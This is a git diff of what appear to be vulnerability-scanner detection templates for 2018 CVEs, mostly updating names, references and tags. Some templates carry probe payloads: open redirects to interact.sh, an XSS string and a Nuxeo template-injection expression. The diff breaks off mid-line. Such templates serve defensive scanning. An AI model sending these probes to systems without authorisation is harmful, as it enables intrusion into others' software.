https://www.cvedetails.com/cve/CVE-2018-14931 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-14931 cwe-id: CWE-601 @@ -19,12 +19,12 @@ requests: - method: GET path: - - '{{BaseURL}}/IntellectMain.jsp?IntellectSystem=https://www.example.com' + - '{{BaseURL}}/IntellectMain.jsp?IntellectSystem=https://www.interact.sh' matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 # Enhanced by mp on 2022/04/26 diff --git a/cves/2018/CVE-2018-15138.yaml b/cves/2018/CVE-2018-15138.yaml index 912feea232..66de15d9a8 100644 --- a/cves/2018/CVE-2018-15138.yaml +++ b/cves/2018/CVE-2018-15138.yaml @@ -1,19 +1,20 @@ id: CVE-2018-15138 info: - name: LG-Ericsson iPECS NMS 30M Directory Traversal + name: LG-Ericsson iPECS NMS 30M - Local File Inclusion author: 0x_Akoko severity: high - description: Ericsson-LG iPECS NMS 30M allows directory traversal via ipecs-cm/download?filename=../ URIs. + description: Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs. reference: - https://cxsecurity.com/issue/WLB-2018080070 + - https://www.exploit-db.com/exploits/45167/ - https://nvd.nist.gov/vuln/detail/CVE-2018-15138 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-15138 cwe-id: CWE-22 - tags: cve,cve2018,ericsson,lfi,traversal + tags: cve,cve2018,ericsson,lfi,traversal,edb requests: - method: GET @@ -31,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/07 diff --git a/cves/2018/CVE-2018-15473.yaml b/cves/2018/CVE-2018-15473.yaml deleted file mode 100644 index bfc9b78a92..0000000000 --- a/cves/2018/CVE-2018-15473.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2018-15473 - -info: - name: OpenSSH Username Enumeration <= v7.7 - author: r3dg33k,daffainfo,forgedhallpass - severity: medium - description: OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, - related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-15473 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2018-15473 - cwe-id: CWE-362 - tags: network,openssh,cve,cve2018 - -network: - - host: - - "{{Hostname}}" - - "{{Host}}:22" - - matchers: - - type: regex - regex: - - '(?i)SSH-2.0-OpenSSH_(?:[1-6][^\d][^\r]+|7\.[0-7][^\d][^\r]+)' - - extractors: - - type: regex - regex: - - '(?i)SSH-2.0-OpenSSH_[^\r]+' diff --git a/cves/2018/CVE-2018-15517.yaml b/cves/2018/CVE-2018-15517.yaml index 08b7fb93d4..dba6b48847 100644 --- a/cves/2018/CVE-2018-15517.yaml +++ b/cves/2018/CVE-2018-15517.yaml @@ -4,18 +4,18 @@ info: name: D-Link Central WifiManager - Server-Side Request Forgery author: gy741 severity: high - description: D-Link Central WifiManager is susceptible to server-side request forgery. The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended to check a connection to an SMTP - server but actually allows outbound TCP to any port on any IP address, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI. This can undermine accountability of where scan or - connections actually came from and or bypass the FW etc. This can be automated via script or using a browser. + description: D-Link Central WifiManager is susceptible to server-side request forgery. The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended to check a connection to an SMTP server but actually allows outbound TCP to any port on any IP address, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI. This can undermine accountability of where scan or connections actually came from and or bypass the FW etc. This can be automated via script or using a browser. reference: - http://hyp3rlinx.altervista.org/advisories/DLINK-CENTRAL-WIFI-MANAGER-CWM-100-SERVER-SIDE-REQUEST-FORGERY.txt - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15517 + - http://seclists.org/fulldisclosure/2018/Nov/28 + - http://packetstormsecurity.com/files/150243/D-LINK-Central-WifiManager-CWM-100-1.03-r0098-Server-Side-Request-Forgery.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N cvss-score: 8.6 cve-id: CVE-2018-15517 cwe-id: CWE-918 - tags: cve,cve2018,dlink,ssrf,oast + tags: seclists,packetstorm,cve,cve2018,dlink,ssrf,oast requests: - method: GET diff --git a/cves/2018/CVE-2018-15535.yaml b/cves/2018/CVE-2018-15535.yaml index 5a99d66ebc..dc43fc3afd 100644 --- a/cves/2018/CVE-2018-15535.yaml +++ b/cves/2018/CVE-2018-15535.yaml @@ -1,20 +1,21 @@ id: CVE-2018-15535 info: - name: Responsive FileManager < 9.13.4 - Directory Traversal + name: Responsive FileManager <9.13.4 - Local File Inclusion author: daffainfo severity: high - description: filemanager/ajax_calls.php in tecrail Responsive FileManager before 9.13.4 uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize - get_file sequences such as ".." that can resolve to a location that is outside of that directory, aka Directory Traversal. + description: Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion. reference: - https://www.exploit-db.com/exploits/45271 - - https://www.cvedetails.com/cve/CVE-2018-15535 + - https://nvd.nist.gov/vuln/detail/CVE-2018-15535 + - http://seclists.org/fulldisclosure/2018/Aug/34 + - https://www.exploit-db.com/exploits/45271/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-15535 cwe-id: CWE-22 - tags: cve,cve2018,lfi + tags: cve,cve2018,lfi,edb,seclists requests: - method: GET @@ -31,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/08 diff --git a/cves/2018/CVE-2018-15745.yaml b/cves/2018/CVE-2018-15745.yaml index 588e3f7577..cfc970e20a 100644 --- a/cves/2018/CVE-2018-15745.yaml +++ b/cves/2018/CVE-2018-15745.yaml @@ -1,18 +1,22 @@ id: CVE-2018-15745 info: - name: Argus Surveillance DVR - Directory Traversal + name: Argus Surveillance DVR 4.0.0.0 - Local File Inclusion author: gy741 severity: high - description: Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter. + description: | + Argus Surveillance DVR 4.0.0.0 devices allow unauthenticated local file inclusion, leading to file disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter. reference: - http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-UNAUTHENTICATED-PATH-TRAVERSAL-FILE-DISCLOSURE.txt + - http://packetstormsecurity.com/files/149134/Argus-Surveillance-DVR-4.0.0.0-Directory-Traversal.html + - https://www.exploit-db.com/exploits/45296/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-15745 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-15745 cwe-id: CWE-22 - tags: cve,cve2018,argussurveillance,lfi + tags: packetstorm,edb,cve,cve2018,argussurveillance,lfi,dvr requests: - method: GET @@ -21,9 +25,6 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 - type: word part: body @@ -31,3 +32,8 @@ requests: - "for 16-bit app support" - "[drivers]" condition: and + + - type: status + status: + - 200 +# Enhanced by mp on 2022/06/13 diff --git a/cves/2018/CVE-2018-15961.yaml b/cves/2018/CVE-2018-15961.yaml index 05a20f9e9f..ce5f4adb15 100644 --- a/cves/2018/CVE-2018-15961.yaml +++ b/cves/2018/CVE-2018-15961.yaml @@ -8,6 +8,8 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2018-15961 - https://github.com/xbufu/CVE-2018-15961 + - https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html + - http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 @@ -15,7 +17,7 @@ info: cwe-id: CWE-434 metadata: shodan-query: http.component:"Adobe ColdFusion" - tags: cve,cve2018,adobe,rce,coldfusion,fileupload + tags: cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive requests: - raw: diff --git a/cves/2018/CVE-2018-16059.yaml b/cves/2018/CVE-2018-16059.yaml index efc18c1046..1231fa357a 100644 --- a/cves/2018/CVE-2018-16059.yaml +++ b/cves/2018/CVE-2018-16059.yaml @@ -1,19 +1,21 @@ id: CVE-2018-16059 info: - name: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal + name: WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion author: daffainfo severity: medium - description: Endress+Hauser WirelessHART Fieldgate SWG70 3.x devices allow Directory Traversal via the fcgi-bin/wgsetcgi filename parameter. + description: WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-16059 - https://www.exploit-db.com/exploits/45342 + - https://ics-cert.us-cert.gov/advisories/ICSA-19-073-03 + - https://nvd.nist.gov/vuln/detail/CVE-2018-16059 + - https://www.exploit-db.com/exploits/45342/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2018-16059 cwe-id: CWE-22 - tags: cve,cve2018,iot,lfi + tags: cve,cve2018,iot,lfi,edb requests: - method: POST @@ -31,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2018/CVE-2018-16133.yaml b/cves/2018/CVE-2018-16133.yaml index c3783e4e05..3603632a5a 100644 --- a/cves/2018/CVE-2018-16133.yaml +++ b/cves/2018/CVE-2018-16133.yaml @@ -1,20 +1,22 @@ id: CVE-2018-16133 info: - name: Cybrotech CyBroHttpServer 1.0.3 Directory Traversal + name: Cybrotech CyBroHttpServer 1.0.3 - Local File Inclusion author: 0x_Akoko severity: medium - description: Cybrotech CyBroHttpServer 1.0.3 allows Directory Traversal in the URI. + description: Cybrotech CyBroHttpServer 1.0.3 is vulnerable to local file inclusion in the URI. reference: - https://packetstormsecurity.com/files/149177/Cybrotech-CyBroHttpServer-1.0.3-Directory-Traversal.html - http://www.cybrotech.com/ - https://www.cvedetails.com/cve/CVE-2018-16133 + - https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal + - https://nvd.nist.gov/vuln/detail/CVE-2018-16133 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2018-16133 cwe-id: CWE-22 - tags: cve,cve2018,cybrotech,lfi + tags: lfi,packetstorm,cve,cve2018,cybrotech requests: - raw: @@ -31,3 +33,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2018/CVE-2018-16139.yaml b/cves/2018/CVE-2018-16139.yaml new file mode 100644 index 0000000000..99b9302756 --- /dev/null +++ b/cves/2018/CVE-2018-16139.yaml @@ -0,0 +1,42 @@ +id: CVE-2018-16139 + +info: + name: BIBLIOsoft BIBLIOpac 2008 - Cross Site Scripting + author: atomiczsec + severity: medium + description: | + Cross-site scripting (XSS) vulnerability in BIBLIOsoft BIBLIOpac 2008 allows remote attackers to inject arbitrary web script or HTML via the db or action parameter to to bin/wxis.exe/bibliopac/. + reference: + - https://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-16139 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16139 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-16139 + cwe-id: CWE-79 + metadata: + verified: true + shodan-query: title:"Bibliopac" + tags: cve,cve2018,xss,bibliopac,bibliosoft + +requests: + - method: GET + path: + - '{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db=">' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">.xrf' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/cves/2018/CVE-2018-16167.yaml b/cves/2018/CVE-2018-16167.yaml index 926b4dd68b..289d39253d 100644 --- a/cves/2018/CVE-2018-16167.yaml +++ b/cves/2018/CVE-2018-16167.yaml @@ -8,12 +8,14 @@ info: reference: - https://www.exploit-db.com/exploits/49918 - https://nvd.nist.gov/vuln/detail/CVE-2018-16167 + - https://jvn.jp/en/vu/JVNVU98026636/index.html + - https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.1 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-16167 cwe-id: CWE-78 - tags: cve,cve2018,logontracer,rce,oast + tags: rce,oast,edb,cve,cve2018,logontracer requests: - raw: diff --git a/cves/2018/CVE-2018-16283.yaml b/cves/2018/CVE-2018-16283.yaml index f59986f0ef..ee97c7633f 100644 --- a/cves/2018/CVE-2018-16283.yaml +++ b/cves/2018/CVE-2018-16283.yaml @@ -8,12 +8,14 @@ info: reference: - https://www.exploit-db.com/exploits/45438 - https://nvd.nist.gov/vuln/detail/CVE-2018-16283 + - https://github.com/springjk/wordpress-wechat-broadcast/issues/14 + - http://seclists.org/fulldisclosure/2018/Sep/32 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-16283 cwe-id: CWE-22 - tags: cve,cve2018,wordpress,wp-plugin,lfi + tags: edb,seclists,cve,cve2018,wordpress,wp-plugin,lfi requests: - method: GET diff --git a/cves/2018/CVE-2018-16288.yaml b/cves/2018/CVE-2018-16288.yaml index 944ad88093..55c71c27a6 100644 --- a/cves/2018/CVE-2018-16288.yaml +++ b/cves/2018/CVE-2018-16288.yaml @@ -4,16 +4,18 @@ info: name: LG SuperSign EZ CMS 2.5 - Local File Inclusion author: daffainfo severity: high - description: LG SuperSign CMS allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs. + description: | + LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion. reference: - https://www.exploit-db.com/exploits/45440 - - https://www.cvedetails.com/cve/CVE-2018-16288 + - http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-16288 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2018-16288 cwe-id: CWE-200 - tags: cve,cve2018,lfi + tags: cve,cve2018,lfi,supersign,edb requests: - method: GET @@ -30,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/13 diff --git a/cves/2018/CVE-2018-16299.yaml b/cves/2018/CVE-2018-16299.yaml index 0188bb8a68..7f56baa72a 100644 --- a/cves/2018/CVE-2018-16299.yaml +++ b/cves/2018/CVE-2018-16299.yaml @@ -1,18 +1,22 @@ id: CVE-2018-16299 info: - name: WordPress Plugin Localize My Post 1.0 - LFI + name: WordPress Localize My Post 1.0 - Local File Inclusion author: 0x_Akoko,0x240x23elu severity: high - description: The Localize My Post plugin 1.0 for WordPress allows Directory Traversal via the ajax/include.php file parameter. + description: | + WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter. reference: - https://www.exploit-db.com/exploits/45439 + - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html + - https://github.com/julianburr/wp-plugin-localizemypost/issues/1 + - https://nvd.nist.gov/vuln/detail/CVE-2018-16299 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-16299 cwe-id: CWE-22 - tags: wordpress,cve2018,cve,lfi,plugin + tags: wordpress,lfi,plugin,wp,edb,packetstorm,cve,cve2018 requests: - method: GET @@ -29,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/13 diff --git a/cves/2018/CVE-2018-16341.yaml b/cves/2018/CVE-2018-16341.yaml index 03c9ed3efd..4e7c94456e 100644 --- a/cves/2018/CVE-2018-16341.yaml +++ b/cves/2018/CVE-2018-16341.yaml @@ -1,20 +1,26 @@ id: CVE-2018-16341 info: - name: Nuxeo Authentication Bypass Remote Code Execution + name: Nuxeo <10.3 - Remote Code Execution author: madrobot severity: high - description: Nuxeo Authentication Bypass Remote Code Execution < 10.3 using a SSTI + description: | + Nuxeo prior to version 10.3 is susceptible to an unauthenticated remote code execution vulnerability via server-side template injection. classification: cve-id: CVE-2018-16341 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-16299 tags: cve,cve2018,nuxeo,ssti,rce,bypass requests: - method: GET path: - "{{BaseURL}}/nuxeo/login.jsp/pwn${31333333330+7}.xhtml" + matchers: - type: word + part: body words: - "31333333337" - part: body + +# Enhanced by mp on 2022/06/13 diff --git a/cves/2018/CVE-2018-16668.yaml b/cves/2018/CVE-2018-16668.yaml index 1649b0b7f0..be05af0d79 100644 --- a/cves/2018/CVE-2018-16668.yaml +++ b/cves/2018/CVE-2018-16668.yaml @@ -7,12 +7,14 @@ info: description: System software installation path disclosure due to lack of authentication reference: - https://www.exploit-db.com/exploits/45384 + - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life + - https://www.exploit-db.com/exploits/45384/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2018-16668 cwe-id: CWE-287 - tags: cve,cve2018,circarlife,scada,iot,disclosure + tags: cve,cve2018,circarlife,scada,iot,disclosure,edb requests: - method: GET diff --git a/cves/2018/CVE-2018-16670.yaml b/cves/2018/CVE-2018-16670.yaml index af83e5319a..d10487f089 100644 --- a/cves/2018/CVE-2018-16670.yaml +++ b/cves/2018/CVE-2018-16670.yaml @@ -7,12 +7,14 @@ info: description: PLC status disclosure due to lack of authentication reference: - https://www.exploit-db.com/exploits/45384 + - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life + - https://www.exploit-db.com/exploits/45384/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2018-16670 cwe-id: CWE-287 - tags: cve,cve2018,circarlife,scada,plc,iot,disclosure + tags: scada,plc,iot,disclosure,edb,cve,cve2018,circarlife requests: - method: GET diff --git a/cves/2018/CVE-2018-16671.yaml b/cves/2018/CVE-2018-16671.yaml index 9d05101b16..ac48bb33d4 100644 --- a/cves/2018/CVE-2018-16671.yaml +++ b/cves/2018/CVE-2018-16671.yaml @@ -7,12 +7,14 @@ info: description: System software information disclosure due to lack of authentication reference: - https://www.exploit-db.com/exploits/45384 + - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life + - https://www.exploit-db.com/exploits/45384/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2018-16671 cwe-id: CWE-200 - tags: cve,cve2018,circarlife,scada,iot,disclosure + tags: iot,disclosure,edb,cve,cve2018,circarlife,scada requests: - method: GET diff --git a/cves/2018/CVE-2018-16716.yaml b/cves/2018/CVE-2018-16716.yaml index 730fa8fcb8..b74af567f1 100644 --- a/cves/2018/CVE-2018-16716.yaml +++ b/cves/2018/CVE-2018-16716.yaml @@ -3,15 +3,14 @@ id: CVE-2018-16716 info: name: NCBI ToolBox - Directory Traversal author: 0x_Akoko - severity: high - description: A path traversal vulnerability exists in viewcgi.c in the 2.0.7 through 2.2.26 legacy versions of the NCBI ToolBox, which may result in reading of arbitrary files (i.e., significant information disclosure) - or file deletion via the nph-viewgif.cgi query string. + severity: critical + description: NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string. reference: - https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md - https://nvd.nist.gov/vuln/detail/CVE-2018-16716 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.1 cve-id: CVE-2018-16716 cwe-id: CWE-22 tags: cve,cve2018,ncbi,lfi @@ -30,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/18 diff --git a/cves/2018/CVE-2018-16761.yaml b/cves/2018/CVE-2018-16761.yaml new file mode 100644 index 0000000000..ec40ee117f --- /dev/null +++ b/cves/2018/CVE-2018-16761.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-16761 + +info: + name: Eventum v3.3.4 - Open Redirect + author: 0x_Akoko + severity: medium + description: | + Eventum before 3.4.0 has an open redirect vulnerability. + reference: + - https://www.invicti.com/web-applications-advisories/ns-18-021-open-redirection-vulnerabilities-in-eventum/ + - https://github.com/eventum/eventum/ + - https://www.cvedetails.com/cve/CVE-2018-16761/ + - https://github.com/eventum/eventum/releases/tag/v3.4.0 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-16761 + cwe-id: CWE-601 + tags: cve,cve2018,redirect,eventum,oss + +requests: + - method: GET + path: + - '{{BaseURL}}/select_project.php?url=http://interact.sh' + - '{{BaseURL}}/clock_status.php?current_page=http://interact.sh' + + stop-at-first-match: true + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/cves/2018/CVE-2018-16763.yaml b/cves/2018/CVE-2018-16763.yaml index d12fec7ba7..a909a8ad58 100644 --- a/cves/2018/CVE-2018-16763.yaml +++ b/cves/2018/CVE-2018-16763.yaml @@ -11,11 +11,11 @@ info: - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 - https://nvd.nist.gov/vuln/detail/CVE-2018-16763 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-16763 cwe-id: CWE-74 - tags: cve,cve2018,fuelcms,rce + tags: cve,cve2018,fuelcms,rce,edb requests: - raw: diff --git a/cves/2018/CVE-2018-16836.yaml b/cves/2018/CVE-2018-16836.yaml index 6557b09070..259bf3e4f2 100644 --- a/cves/2018/CVE-2018-16836.yaml +++ b/cves/2018/CVE-2018-16836.yaml @@ -8,12 +8,14 @@ info: reference: - https://www.exploit-db.com/exploits/45385 - https://nvd.nist.gov/vuln/detail/CVE-2018-16836 + - https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms + - https://www.exploit-db.com/exploits/45385/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-16836 cwe-id: CWE-22 - tags: cve,cve2018,rubedo,lfi + tags: cve,cve2018,rubedo,lfi,edb requests: - method: GET diff --git a/cves/2018/CVE-2018-17246.yaml b/cves/2018/CVE-2018-17246.yaml index 8a33e82710..a00e5bbc31 100644 --- a/cves/2018/CVE-2018-17246.yaml +++ b/cves/2018/CVE-2018-17246.yaml @@ -8,12 +8,14 @@ info: reference: - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md - https://nvd.nist.gov/vuln/detail/CVE-2018-17246 + - https://www.elastic.co/community/security + - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-17246 cwe-id: CWE-829 - tags: cve,cve2018,lfi,kibana + tags: cve,cve2018,lfi,kibana,vulhub requests: - method: GET diff --git a/cves/2018/CVE-2018-17254.yaml b/cves/2018/CVE-2018-17254.yaml index 348c3260bf..edbb1e3ff7 100644 --- a/cves/2018/CVE-2018-17254.yaml +++ b/cves/2018/CVE-2018-17254.yaml @@ -14,7 +14,7 @@ info: cve-id: CVE-2018-17254 cwe-id: CWE-89 remediation: Update or remove the affected plugin. - tags: joomla,sqli,cve,cve2018 + tags: cve,cve2018,packetstorm,edb,joomla,sqli requests: - raw: diff --git a/cves/2018/CVE-2018-17422.yaml b/cves/2018/CVE-2018-17422.yaml new file mode 100644 index 0000000000..02d8bd123f --- /dev/null +++ b/cves/2018/CVE-2018-17422.yaml @@ -0,0 +1,39 @@ +id: CVE-2018-17422 + +info: + name: dotCMS < 5.0.2 - Open Redirect + author: 0x_Akoko,daffainfo + severity: medium + description: | + dotCMS before 5.0.2 has open redirects via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter. + reference: + - https://github.com/dotCMS/core/issues/15286 + - https://www.cvedetails.com/cve/CVE-2018-17422 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-17422 + cwe-id: CWE-601 + metadata: + shodan-query: http.title:"dotCMS" + verified: "true" + tags: cve,cve2018,redirect,dotcms + +requests: + - method: GET + path: + - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://www.interact.sh' + - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=interact.sh' + + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "self.location = 'http://www.interact.sh'" + + - type: status + status: + - 200 diff --git a/cves/2018/CVE-2018-17431.yaml b/cves/2018/CVE-2018-17431.yaml index ae4fdebaa3..b9b6edfa04 100644 --- a/cves/2018/CVE-2018-17431.yaml +++ b/cves/2018/CVE-2018-17431.yaml @@ -9,12 +9,13 @@ info: - https://www.exploit-db.com/exploits/48825 - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 - https://nvd.nist.gov/vuln/detail/CVE-2018-17431 + - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-17431 cwe-id: CWE-287 - tags: cve,cve2018,comodo,rce + tags: cve2018,comodo,rce,edb,cve requests: - raw: diff --git a/cves/2018/CVE-2018-18264.yaml b/cves/2018/CVE-2018-18264.yaml index 99cfd8d3d5..98c3b36c2f 100644 --- a/cves/2018/CVE-2018-18264.yaml +++ b/cves/2018/CVE-2018-18264.yaml @@ -1,14 +1,16 @@ id: CVE-2018-18264 info: - name: Kubernetes Dashboard unauthenticated secret access + name: Kubernetes Dashboard <1.10.1 - Authentication Bypass author: edoardottt severity: high - description: Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster. + description: | + Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-18264 - https://github.com/kubernetes/dashboard/pull/3289 - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/ + - https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI + - https://nvd.nist.gov/vuln/detail/CVE-2018-18264 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 @@ -16,7 +18,7 @@ info: cwe-id: CWE-306 metadata: shodan-query: product:"Kubernetes" - tags: cve,cve2018,kubernetes,k8s,unauth + tags: cve,cve2018,kubernetes,k8s,auth-bypass requests: - method: GET @@ -27,10 +29,12 @@ requests: stop-at-first-match: true matchers-condition: and matchers: - - type: status - status: - - 200 - type: dsl dsl: - - 'contains(body, "apiVersion") && contains(body, "objectRef")' \ No newline at end of file + - 'contains(body, 